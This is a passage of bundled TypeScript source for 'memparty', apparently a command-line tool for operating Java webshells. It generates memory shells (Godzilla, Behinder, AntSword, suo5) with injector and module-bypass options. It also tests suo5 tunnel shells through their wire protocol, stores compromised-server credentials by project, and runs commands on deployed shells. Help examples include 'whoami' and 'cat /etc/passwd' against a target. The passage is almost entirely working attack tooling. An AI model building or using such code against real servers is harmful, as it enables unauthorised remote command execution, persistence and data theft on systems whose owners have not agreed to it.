output.toString(\"utf8\"),\n durationMs: Date.now() - started,\n };\n } catch (err) {\n if (err instanceof Error && err.message.includes(\"wrapper\")) {\n return fail(err.message);\n }\n return fail(\n `found wrapper but failed to decrypt — wrong key? (${err instanceof Error ? err.message : String(err)})`,\n );\n }\n}\n","/**\n * suo5 connection test.\n *\n * Two wire protocols exist in the wild:\n *\n * - \"v2\": the zema1/suo5 protocol (also what MemShellParty's `Suo5v2` shells\n * and the real suo5.jsp speak). Connection test = the client's\n * `checkConnectMode` in classic mode: POST one base64 frame\n * `{ac:0x01, id, dt:identifier, a:0x00, m:0x00(checking)}`; the shell echoes\n * `dt` in frame 1 and returns a session id in frame 2.\n *\n * - \"v1\": MemShellParty's legacy `Suo5` shell (raw binary single-byte-XOR\n * frames). Its full-duplex probe (`Content-Type: application/plain`) echoes\n * back 32 bytes verbatim — that round-trip is the liveness check.\n */\nimport { randomBytes } from \"node:crypto\";\nimport { base64UrlDecode, base64UrlEncode, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport { buildHeaders, type CommonConnectOptions, type ConnectTestResult } from \"./types.js\";\n\nexport type Suo5Mode = \"auto\" | \"v2\" | \"v1\";\n\nexport interface Suo5ConnectOptions extends CommonConnectOptions {\n mode?: Suo5Mode;\n}\n\n// ---------- frame codec (zema1/suo5 netrans.DataFrame, base64 variant) ----------\n\n/** suo5's `Marshal`: [klen u8][key][vlen u32 BE][value] per entry. */\nexport function marshalSuo5Map(entries: Array<[string, Buffer]>): Buffer {\n const parts: Buffer[] = [];\n for (const [key, value] of entries) {\n const keyBytes = Buffer.from(key, \"utf8\");\n const len = Buffer.alloc(4);\n len.writeUInt32BE(value.length, 0);\n parts.push(Buffer.from([keyBytes.length]), keyBytes, len, value);\n }\n return Buffer.concat(parts);\n}\n\nexport function unmarshalSuo5Map(data: Buffer): Map<string, Buffer> {\n const map = new Map<string, Buffer>();\n let off = 0;\n while (off < data.length - 1) {\n const kLen = data[off]!;\n off += 1;\n if (off + kLen > data.length) throw new Error(\"unexpected eof when read key\");\n const key = data.toString(\"utf8\", off, off + kLen);\n off += kLen;\n if (off + 4 > data.length) throw new Error(\"unexpected eof when read value size\");\n const vLen = data.readUInt32BE(off);\n off += 4;\n if (off + vLen > data.length) throw new Error(\"unexpected eof when read value\");\n map.set(key, data.subarray(off, off + vLen));\n off += vLen;\n }\n return map;\n}\n\n/** suo5's `DataFrame.MarshalBinaryBase64`. */\nexport function marshalFrameBase64(data: Buffer): Buffer {\n const obs = randomBytes(2);\n const xored = Buffer.from(data);\n for (let i = 0; i < xored.length; i++) xored[i] = xored[i]! ^ obs[i % 2]!;\n const dataB64 = base64UrlEncode(xored);\n\n const header = Buffer.alloc(6);\n obs.copy(header, 0);\n header.writeUInt32BE(Buffer.byteLength(dataB64), 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[i % 2]!;\n\n return Buffer.concat([Buffer.from(base64UrlEncode(header)), Buffer.from(dataB64)]);\n}\n\nexport interface Suo5Frame {\n data: Buffer;\n /** offset just past this frame */\n next: number;\n}\n\n/** suo5's `ReadFrameBase64` over a flat buffer. Throws on truncation. */\nexport function unmarshalFrameBase64(buf: Buffer, offset = 0): Suo5Frame {\n if (buf.length - offset < 8) throw new Error(\"failed to read header base64: truncated\");\n const header = base64UrlDecode(buf.toString(\"latin1\", offset, offset + 8));\n if (header.length !== 6) throw new Error(\"invalid header length\");\n const obs = header.subarray(0, 2);\n for (let i = 2; i < 6; i++) header[i] = header[i]! ^ obs[(i - 2) % 2]!;\n const dataLength = header.readUInt32BE(2);\n if (dataLength > 32 * 1024 * 1024) throw new Error(`frame is too big, ${dataLength}`);\n const dataStart = offset + 8;\n if (buf.length - dataStart < dataLength) throw new Error(\"failed to read data base64: truncated\");\n const data = base64UrlDecode(buf.toString(\"latin1\", dataStart, dataStart + dataLength));\n for (let i = 0; i < data.length; i++) data[i] = data[i]! ^ obs[i % 2]!;\n return { data, next: dataStart + dataLength };\n}\n\n// ---------- v2 handshake ----------\n\nasync function testSuo5V2(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const identifier = randomString(48);\n const frame = marshalFrameBase64(\n marshalSuo5Map([\n [\"ac\", Buffer.from([0x01])], // ActionData\n [\"id\", randomBytes(8)],\n [\"dt\", Buffer.from(identifier, \"utf8\")],\n [\"a\", Buffer.from([0x00])], // classic (non-streaming) check\n [\"m\", Buffer.from([0x00])], // ConnectionType.Checking\n [\"_\", randomBytes(Math.floor(Math.random() * 64))], // junk\n ]),\n );\n\n let response;\n try {\n response = await postRaw(url, frame, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n\n try {\n const echoFrame = unmarshalFrameBase64(response.body, 0);\n const echoMap = unmarshalSuo5Map(echoFrame.data);\n const echoed = echoMap.get(\"dt\")?.toString(\"utf8\");\n if (echoed !== identifier) {\n return {\n ok: false,\n error: `HTTP ${response.status}, first frame did not echo the identifier (got ${\n echoed === undefined ? \"no dt field\" : JSON.stringify(echoed.slice(0, 64))\n })`,\n };\n }\n const sessionFrame = unmarshalFrameBase64(response.body, echoFrame.next);\n const sessionMap = unmarshalSuo5Map(sessionFrame.data);\n const sid = sessionMap.get(\"dt\")?.toString(\"utf8\");\n if (!sid) {\n return { ok: false, error: \"second frame carries no session id\" };\n }\n return { ok: true, detail: `suo5 v2 handshake ok (session ${sid}, HTTP ${response.status})` };\n } catch (err) {\n return {\n ok: false,\n error: `HTTP ${response.status}, response is not valid suo5 frames (${\n err instanceof Error ? err.message : String(err)\n })`,\n };\n }\n}\n\n// ---------- v1 plain echo ----------\n\nasync function testSuo5V1(\n url: string,\n options: CommonConnectOptions,\n): Promise<{ ok: boolean; detail?: string; error?: string }> {\n const probe = randomBytes(32);\n let response;\n try {\n response = await postRaw(url, probe, {\n headers: buildHeaders({ \"Content-Type\": \"application/plain\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return { ok: false, error: err instanceof Error ? err.message : String(err) };\n }\n if (response.body.equals(probe)) {\n return {\n ok: true,\n detail: `suo5 v1 full-duplex echo ok (32 bytes round-trip, HTTP ${response.status})`,\n };\n }\n return {\n ok: false,\n error: `HTTP ${response.status}, expected the 32 probe bytes echoed back, got ${response.body.length} different bytes`,\n };\n}\n\nexport async function testSuo5(\n url: string,\n options: Suo5ConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const mode = options.mode ?? \"auto\";\n const failures: string[] = [];\n\n if (mode === \"v2\" || mode === \"auto\") {\n const v2 = await testSuo5V2(url, options);\n if (v2.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v2.detail, durationMs: Date.now() - started };\n }\n failures.push(`v2: ${v2.error}`);\n if (mode === \"v2\") {\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: `${v2.error} — not a suo5(v2) shell?`,\n durationMs: Date.now() - started,\n };\n }\n }\n if (mode === \"v1\" || mode === \"auto\") {\n const v1 = await testSuo5V1(url, options);\n if (v1.ok) {\n return { ok: true, tool: \"suo5\", url, detail: v1.detail, durationMs: Date.now() - started };\n }\n failures.push(`v1: ${v1.error}`);\n }\n\n return {\n ok: false,\n tool: \"suo5\",\n url,\n error: failures.join(\"; \") + \" — not a suo5 shell (or missing gate header)\",\n durationMs: Date.now() - started,\n };\n}\n","/**\n * Global operation log — every gen / probe / connect / exec / target\n * operation is appended as one JSON line, giving an auditable trail of\n * what ran, against which target, and how it ended.\n *\n * Location: ~/.memparty/operations.jsonl (override with MEMPARTY_OPLOG).\n * Logging is best-effort: a broken log file/dir must never break the\n * operation being logged.\n *\n * Secrets are never logged: no pass/key/headerValue, no payload bytes.\n * Exec output is truncated (see OUTPUT_LIMIT).\n */\nimport { appendFileSync, existsSync, mkdirSync, readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nexport type OpCategory = \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"target\";\n\nexport interface OpLogEntry {\n /** ISO timestamp. */\n ts: string;\n category: OpCategory;\n /** What happened: \"gen\" | \"probe\" | \"connect\" | \"exec\" | \"save\" | \"note\" | \"remove\". */\n action: string;\n /** Saved `project/shell` reference, when the operation used one. */\n targetName?: string;\n url?: string;\n tool?: string;\n ok: boolean;\n durationMs?: number;\n /** Short human-readable success detail. */\n detail?: string;\n error?: string;\n /** exec only: the command line. */\n command?: string;\n /** exec only: remote output, truncated to OUTPUT_LIMIT. */\n output?: string;\n outputTruncated?: boolean;\n /** Extra structured fields (target meta, gen params — never credentials). */\n meta?: Record<string, unknown>;\n}\n\n/** exec output is truncated to this many characters in the log. */\nexport const OUTPUT_LIMIT = 2000;\n\nexport function opLogPath(): string {\n return process.env.MEMPARTY_OPLOG ?? join(homedir(), \".memparty\", \"operations.jsonl\");\n}\n\n/** Append one entry. Never throws. */\nexport function logOp(entry: Omit<OpLogEntry, \"ts\">): void {\n try {\n const file = opLogPath();\n mkdirSync(dirname(file), { recursive: true });\n appendFileSync(file, `${JSON.stringify({ ts: new Date().toISOString(), ...entry })}\\n`);\n } catch {\n // best-effort logging — the operation itself already completed\n }\n}\n\nexport interface OpFilter {\n category?: OpCategory;\n /**\n * Match by saved target reference (\"hw222\" also matches \"hw222/bh9060\")\n * or by a substring of the URL (e.g. a host).\n */\n target?: string;\n /** Max entries returned (default 50). */\n limit?: number;\n}\n\n/** Read entries matching the filter, newest first. */\nexport function readOps(filter: OpFilter = {}): OpLogEntry[] {\n let entries: OpLogEntry[] = [];\n try {\n const file = opLogPath();\n if (existsSync(file)) {\n for (const line of readFileSync(file, \"utf8\").split(\"\\n\")) {\n const trimmed = line.trim();\n if (!trimmed) continue;\n try {\n entries.push(JSON.parse(trimmed) as OpLogEntry);\n } catch {\n // skip malformed lines\n }\n }\n }\n } catch {\n return [];\n }\n if (filter.category) {\n entries = entries.filter((e) => e.category === filter.category);\n }\n if (filter.target) {\n const t = filter.target;\n entries = entries.filter(\n (e) =>\n e.targetName === t || e.targetName?.startsWith(`${t}/`) || e.url?.includes(t),\n );\n }\n return entries.slice(-(filter.limit ?? 50)).reverse();\n}\n\n/** Truncate exec output for the log. */\nexport function truncateOutput(output: string): { output: string; truncated: boolean } {\n if (output.length <= OUTPUT_LIMIT) return { output, truncated: false };\n return { output: output.slice(0, OUTPUT_LIMIT), truncated: true };\n}\n\n/** One-line rendering for `memparty log`. */\nexport function formatOp(e: OpLogEntry): string {\n const ts = e.ts.replace(\"T\", \" \").slice(0, 19);\n const cat = e.category.padEnd(7);\n const status = e.ok ? \"ok \" : \"FAIL\";\n const target = e.targetName ?? e.url ?? \"-\";\n const ms = e.durationMs !== undefined ? ` (${e.durationMs}ms)` : \"\";\n let summary: string;\n if (e.category === \"exec\") {\n const out = (e.output ?? e.error ?? \"\").split(\"\\n\", 1)[0]!;\n const more =\n (e.output ?? \"\").includes(\"\\n\") || e.outputTruncated ? \"…\" : \"\";\n summary = `$ ${e.command ?? \"\"} → ${out}${more}`;\n } else {\n summary = e.detail ?? e.error ?? e.action;\n }\n return `${ts} ${cat} ${status} ${target} ${summary}${ms}`;\n}\n","/**\n * Named shell targets persisted to a JSON file, so a shell's URL +\n * credentials + gate header are saved once and later referenced by name:\n * memparty exec hw222/bh9060 --cmd \"whoami\"\n *\n * A **project** groups several shells that belong to one engagement, with\n * an optional remark and category. A shell reference is `<project>/<shell>`;\n * a bare project name resolves when it holds exactly one shell.\n *\n * Store location: ~/.memparty/targets.json (override with MEMPARTY_TARGETS).\n */\nimport { existsSync, mkdirSync, readFileSync, writeFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { dirname, join } from \"node:path\";\n\nimport type { ConnectTool } from \"../connect/types.js\";\n\n/** A saved shell connection profile, stored inside a project. */\nexport interface StoredShell {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n /** Free-form note for this shell (e.g. \"DMZ 跳板机\"). */\n remark?: string;\n createdAt: string;\n updatedAt: string;\n}\n\nexport type ShellInput = Omit<StoredShell, \"createdAt\" | \"updatedAt\">;\n\n/** A named group of shells with a remark and a category. */\nexport interface StoredProject {\n remark?: string;\n category?: string;\n createdAt: string;\n updatedAt: string;\n shells: Record<string, StoredShell>;\n}\n\nconst NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;\n\nfunction checkName(kind: string, name: string): void {\n if (!NAME_RE.test(name)) {\n throw new Error(\n `invalid ${kind} name ${JSON.stringify(name)} — use letters, digits, '.', '_', '-'`,\n );\n }\n}\n\nexport function targetStorePath(): string {\n return process.env.MEMPARTY_TARGETS ?? join(homedir(), \".memparty\", \"targets.json\");\n}\n\nexport function listProjects(): Record<string, StoredProject> {\n try {\n const file = targetStorePath();\n if (!existsSync(file)) return {};\n const data: unknown = JSON.parse(readFileSync(file, \"utf8\"));\n if (data !== null && typeof data === \"object\" && !Array.isArray(data)) {\n return data as Record<string, StoredProject>;\n }\n } catch {\n // corrupted store — treat as empty rather than crash the CLI\n }\n return {};\n}\n\nexport function getProject(name: string): StoredProject | null {\n return listProjects()[name] ?? null;\n}\n\nfunction writeProjects(projects: Record<string, StoredProject>): void {\n const file = targetStorePath();\n mkdirSync(dirname(file), { recursive: true });\n writeFileSync(file, `${JSON.stringify(projects, null, 2)}\\n`, { mode: 0o600 });\n}\n\n/** Create a project or update its remark/category (only given fields change). */\nexport function saveProjectMeta(\n name: string,\n meta: { remark?: string; category?: string },\n): StoredProject {\n checkName(\"project\", name);\n const projects = listProjects();\n const now = new Date().toISOString();\n const existing = projects[name];\n const norm = (v: string | undefined) => (v ? v : undefined);\n const project: StoredProject = {\n remark: meta.remark !== undefined ? norm(meta.remark) : existing?.remark,\n category: meta.category !== undefined ? norm(meta.category) : existing?.category,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n shells: existing?.shells ?? {},\n };\n projects[name] = project;\n writeProjects(projects);\n return project;\n}\n\n/** Save a shell under `<project>/<shell>`; creates the project if needed. */\nexport function saveShell(projectName: string, shellName: string, input: ShellInput): StoredShell {\n checkName(\"project\", projectName);\n checkName(\"shell\", shellName);\n const projects = listProjects();\n const now = new Date().toISOString();\n const project = projects[projectName] ?? {\n createdAt: now,\n updatedAt: now,\n shells: {},\n };\n const existing = project.shells[shellName];\n const stored: StoredShell = {\n ...input,\n // remark is merged (empty string clears); other fields are overwritten\n remark: input.remark !== undefined ? input.remark || undefined : existing?.remark,\n createdAt: existing?.createdAt ?? now,\n updatedAt: now,\n };\n project.shells[shellName] = stored;\n project.updatedAt = now;\n projects[projectName] = project;\n writeProjects(projects);\n return stored;\n}\n\n/** Remove a whole project. Returns false when it did not exist. */\nexport function removeProject(name: string): boolean {\n const projects = listProjects();\n if (!(name in projects)) return false;\n delete projects[name];\n writeProjects(projects);\n return true;\n}\n\n/** Remove one shell from a project. Returns false when it did not exist. */\nexport function removeShell(projectName: string, shellName: string): boolean {\n const projects = listProjects();\n const project = projects[projectName];\n if (!project || !(shellName in project.shells)) return false;\n delete project.shells[shellName];\n project.updatedAt = new Date().toISOString();\n writeProjects(projects);\n return true;\n}\n\n/** Set or clear (empty string) a shell's remark. */\nexport function saveShellMeta(\n projectName: string,\n shellName: string,\n meta: { remark?: string },\n): StoredShell {\n const projects = listProjects();\n const shell = projects[projectName]?.shells[shellName];\n if (!shell) {\n throw new Error(`unknown shell ${JSON.stringify(`${projectName}/${shellName}`)}`);\n }\n if (meta.remark !== undefined) {\n shell.remark = meta.remark || undefined;\n }\n const now = new Date().toISOString();\n shell.updatedAt = now;\n projects[projectName]!.updatedAt = now;\n writeProjects(projects);\n return shell;\n}\n\n/** CLI/MCP flags that can override a stored shell's values. */\nexport interface ConnectionFlags {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders?: Record<string, string>;\n insecure?: boolean;\n}\n\nexport interface ResolvedConnection {\n url: string;\n tool: ConnectTool;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n extraHeaders: Record<string, string>;\n insecure?: boolean;\n /** Canonical `project/shell` reference, when resolved from the store. */\n targetName?: string;\n}\n\n/**\n * Merge an optional saved shell reference (`<project>/<shell>` or a bare\n * project holding exactly one shell) with explicit flags.\n * Priority: explicit flag > stored value.\n */\nexport function resolveConnection(\n ref: string | undefined,\n flags: ConnectionFlags,\n): ResolvedConnection {\n let stored: StoredShell | undefined;\n let targetName: string | undefined;\n\n if (ref) {\n const slash = ref.indexOf(\"/\");\n const projectName = slash === -1 ? ref : ref.slice(0, slash);\n let shellName = slash === -1 ? undefined : ref.slice(slash + 1);\n\n const project = getProject(projectName);\n if (!project) {\n throw new Error(`unknown project ${JSON.stringify(projectName)} — see 'memparty target list'`);\n }\n if (!shellName) {\n const names = Object.keys(project.shells);\n if (names.length === 0) {\n throw new Error(`project ${JSON.stringify(projectName)} has no shells yet`);\n }\n if (names.length > 1) {\n throw new Error(\n `project ${JSON.stringify(projectName)} has ${names.length} shells — pick one: ` +\n names.map((n) => `${projectName}/${n}`).join(\", \"),\n );\n }\n shellName = names[0]!;\n }\n stored = project.shells[shellName];\n if (!stored) {\n const known = Object.keys(project.shells);\n throw new Error(\n `unknown shell ${JSON.stringify(ref)} — project ${JSON.stringify(projectName)} has: ` +\n (known.length > 0 ? known.join(\", \") : \"(none)\"),\n );\n }\n targetName = `${projectName}/${shellName}`;\n }\n\n const tool = (flags.tool ?? stored?.tool) as ConnectTool | undefined;\n const url = flags.url ?? stored?.url;\n if (!url) {\n throw new Error(\"no URL — pass --url or a saved target name\");\n }\n if (!tool) {\n throw new Error(\"--tool is required (godzilla | behinder | suo5)\");\n }\n return {\n url,\n tool,\n pass: flags.pass ?? stored?.pass,\n key: flags.key ?? stored?.key,\n headerName: flags.headerName ?? stored?.headerName,\n headerValue: flags.headerValue ?? stored?.headerValue,\n extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },\n insecure: flags.insecure ?? stored?.insecure,\n targetName,\n };\n}\n","import { Command, Option } from \"commander\";\n\nimport type { GlobalOptions } from \"../cli-context.js\";\nimport { execBehinder } from \"../connect/behinder.js\";\nimport { execGodzilla, type GodzillaExecOptions } from \"../connect/godzilla.js\";\nimport type { CommonConnectOptions, ExecResult } from \"../connect/types.js\";\nimport { logOp, truncateOutput } from \"../core/oplog.js\";\nimport { resolveConnection } from \"../core/targets.js\";\n\ninterface ExecCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n cmd?: string;\n os?: \"auto\" | \"windows\" | \"linux\";\n headerName?: string;\n headerValue?: string;\n header?: string[];\n insecure?: boolean;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerExecCommand(program: Command): void {\n program\n .command(\"exec\")\n .description(\n \"Execute a command on a deployed webshell (Godzilla / Behinder) and print its output\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty target list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\"]),\n )\n .requiredOption(\"--cmd <command>\", \"command line to execute on the target\")\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key\", \"key\")\n .addOption(\n new Option(\"--os <family>\", \"godzilla: remote OS for the shell wrapper\")\n .choices([\"auto\", \"windows\", \"linux\"])\n .default(\"auto\"),\n )\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value qSGAJScj --cmd \"whoami\"\n $ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value YdwTyuQr --cmd \"cat /etc/passwd\"\n $ memparty exec web222 --cmd \"whoami\" # saved target, see 'memparty target'\n $ memparty exec -u http://target/shell.jsp -t godzilla --os windows \\\\\n --cmd \"ipconfig /all\" --json\n\nNote: godzilla auto-detects the remote OS (one extra request) to pick\ncmd.exe vs /bin/sh — pass --os to skip the detection. Behinder detects\nthe OS inside its payload, so --os does not apply.\n`,\n )\n .action(async (name: string | undefined, opts: ExecCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n });\n } catch (err) {\n process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n };\n\n let result: ExecResult;\n switch (conn.tool) {\n case \"godzilla\": {\n const gdzOpts: GodzillaExecOptions = { ...common, os: opts.os };\n result = await execGodzilla(\n conn.url,\n conn.pass ?? \"pass\",\n conn.key ?? \"key\",\n opts.cmd!,\n gdzOpts,\n );\n break;\n }\n case \"behinder\":\n result = await execBehinder(conn.url, conn.pass ?? \"rebeyond\", opts.cmd!, common);\n break;\n default:\n process.stderr.write(\n `Error: exec supports godzilla | behinder (got ${String(conn.tool)})\\n`,\n );\n process.exitCode = 1;\n return;\n }\n\n const truncated = result.output !== undefined ? truncateOutput(result.output) : null;\n logOp({\n category: \"exec\",\n action: \"exec\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n command: opts.cmd,\n output: truncated?.output,\n outputTruncated: truncated?.truncated || undefined,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(result, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(result.output ?? \"\");\n if (result.output && !result.output.endsWith(\"\\n\")) process.stdout.write(\"\\n\");\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","import { readFileSync } from \"node:fs\";\n\nimport { Command, Option } from \"commander\";\n\nimport { createClient, type GlobalOptions, logInfo } from \"../cli-context.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { emitPayload } from \"../core/output.js\";\nimport { buildMemShellRequest, type MemShellOptions } from \"../core/request-builder.js\";\nimport { runMemShellWizard } from \"../wizard/memshell-wizard.js\";\n\ninterface GenCmdOptions extends GlobalOptions {\n server?: string;\n serverVersion?: string;\n tool?: string;\n type?: string;\n packer?: string;\n jdk?: string;\n debug?: boolean;\n bypassModule?: boolean;\n shrink?: boolean;\n lambdaSuffix?: boolean;\n probe?: boolean;\n shellClassName?: string;\n godzillaPass?: string;\n godzillaKey?: string;\n behinderPass?: string;\n antswordPass?: string;\n commandParamName?: string;\n commandTemplate?: string;\n encryptor?: string;\n implementationClass?: string;\n headerName?: string;\n headerValue?: string;\n shellClassBase64?: string;\n shellClassFile?: string;\n urlPattern?: string;\n injectorClassName?: string;\n staticInitialize?: boolean;\n output?: string;\n decode?: boolean;\n json?: boolean;\n interactive?: boolean;\n}\n\nconst REQUIRED = [\"server\", \"tool\", \"type\", \"packer\"] as const;\n\nfunction toOptions(o: GenCmdOptions): MemShellOptions {\n let shellClassBase64 = o.shellClassBase64;\n if (o.shellClassFile) {\n shellClassBase64 = readFileSync(o.shellClassFile).toString(\"base64\");\n }\n return {\n server: o.server!,\n serverVersion: o.serverVersion,\n shellTool: o.tool!,\n shellType: o.type!,\n packer: o.packer!,\n jdk: o.jdk,\n debug: o.debug,\n byPassJavaModule: o.bypassModule,\n shrink: o.shrink,\n lambdaSuffix: o.lambdaSuffix,\n probe: o.probe,\n shellClassName: o.shellClassName,\n godzillaPass: o.godzillaPass,\n godzillaKey: o.godzillaKey,\n behinderPass: o.behinderPass,\n antSwordPass: o.antswordPass,\n commandParamName: o.commandParamName,\n commandTemplate: o.commandTemplate,\n encryptor: o.encryptor,\n implementationClass: o.implementationClass,\n headerName: o.headerName,\n headerValue: o.headerValue,\n shellClassBase64,\n urlPattern: o.urlPattern,\n injectorClassName: o.injectorClassName,\n staticInitialize: o.staticInitialize,\n };\n}\n\nexport function registerGenCommand(program: Command): void {\n program\n .command(\"gen\")\n .alias(\"generate\")\n .description(\"Generate a memory shell. Runs an interactive wizard when required flags are missing.\")\n .option(\"-s, --server <server>\", \"target server, e.g. Tomcat\")\n .option(\"--server-version <v>\", \"target server version\")\n .option(\"-t, --tool <tool>\", \"shell tool, e.g. Godzilla, Behinder, Command\")\n .option(\"-y, --type <type>\", \"shell type, e.g. Listener, Filter, Servlet\")\n .option(\"-p, --packer <packer>\", \"packer, e.g. Base64, Jar, JSP\")\n .option(\"--jdk <version>\", \"target JDK: java6/8/9/11/17/21, or a class-file major version\")\n .option(\"--debug\", \"enable debug output in the payload\")\n .option(\"--bypass-module\", \"bypass Java module restrictions\")\n .option(\"--no-shrink\", \"disable bytecode shrinking (enabled by default)\")\n .option(\"--lambda-suffix\", \"append a lambda class-name suffix\")\n .option(\"--probe\", \"use echo/probe mode\")\n .option(\"--shell-class-name <name>\", \"explicit shell class name (random if omitted)\")\n .option(\"--godzilla-pass <pass>\", \"Godzilla password\")\n .option(\"--godzilla-key <key>\", \"Godzilla key\")\n .option(\"--behinder-pass <pass>\", \"Behinder password\")\n .option(\"--antsword-pass <pass>\", \"AntSword password\")\n .option(\"--command-param-name <name>\", \"Command tool parameter name\")\n .option(\"--command-template <tpl>\", \"Command template ({command} placeholder)\")\n .option(\"--encryptor <name>\", \"Command encryptor\")\n .option(\"--implementation-class <name>\", \"Command implementation class\")\n .option(\"--header-name <name>\", \"auth header name\")\n .option(\"--header-value <value>\", \"auth header value\")\n .option(\"--shell-class-base64 <b64>\", \"custom shell class (base64) for the Custom tool\")\n .option(\"--shell-class-file <path>\", \"custom shell .class file for the Custom tool\")\n .option(\"--url-pattern <pattern>\", \"injector URL pattern\")\n .option(\"--injector-class-name <name>\", \"explicit injector class name\")\n .option(\"--no-static-initialize\", \"disable injector static initialization (enabled by default)\")\n .option(\"-o, --output <file>\", \"write payload to a file instead of stdout\")\n .addOption(new Option(\"--decode\", \"base64-decode the payload before writing\"))\n .addOption(new Option(\"--no-decode\", \"do not base64-decode the payload\"))\n .option(\"--json\", \"print the full JSON response instead of just the payload\")\n .option(\"-i, --interactive\", \"force the interactive wizard\")\n .option(\"--no-interactive\", \"never launch the wizard; error on missing flags\")\n .action(async (opts: GenCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n\n const missing = REQUIRED.filter((k) => !opts[k]);\n const stdinIsTty = Boolean(process.stdin.isTTY);\n const wantWizard =\n opts.interactive === true ||\n (opts.interactive !== false && missing.length > 0 && stdinIsTty);\n\n let memOpts: MemShellOptions;\n if (wantWizard) {\n memOpts = await runMemShellWizard(client);\n } else {\n if (missing.length > 0) {\n throw new Error(\n `Missing required option(s): ${missing.map((m) => `--${m}`).join(\", \")}. ` +\n `Run in a terminal for the wizard, or pass -i.`,\n );\n }\n memOpts = toOptions(opts);\n }\n\n const request = buildMemShellRequest(memOpts);\n // safe summary for the op log — parameters only, never credentials\n const genMeta = {\n server: memOpts.server,\n serverVersion: memOpts.serverVersion,\n shellTool: memOpts.shellTool,\n shellType: memOpts.shellType,\n packer: memOpts.packer,\n jdk: memOpts.jdk,\n };\n const started = Date.now();\n let response;\n try {\n response = await client.generateMemShell(request);\n } catch (err) {\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: false,\n durationMs: Date.now() - started,\n error: err instanceof Error ? err.message : String(err),\n meta: genMeta,\n });\n throw err;\n }\n logOp({\n category: \"gen\",\n action: \"gen\",\n ok: true,\n durationMs: Date.now() - started,\n detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,\n meta: genMeta,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(response, null, 2)}\\n`);\n return;\n }\n\n const r = response.memShellResult;\n logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);\n logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);\n\n if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {\n for (const [name, value] of Object.entries(response.allPackResults)) {\n logInfo(`\\n=== ${name} ===`);\n process.stdout.write(`${value}\\n`);\n }\n return;\n }\n\n if (response.packResult === undefined) {\n throw new Error(\"Server returned no packResult.\");\n }\n\n const result = emitPayload(response.packResult, {\n outFile: 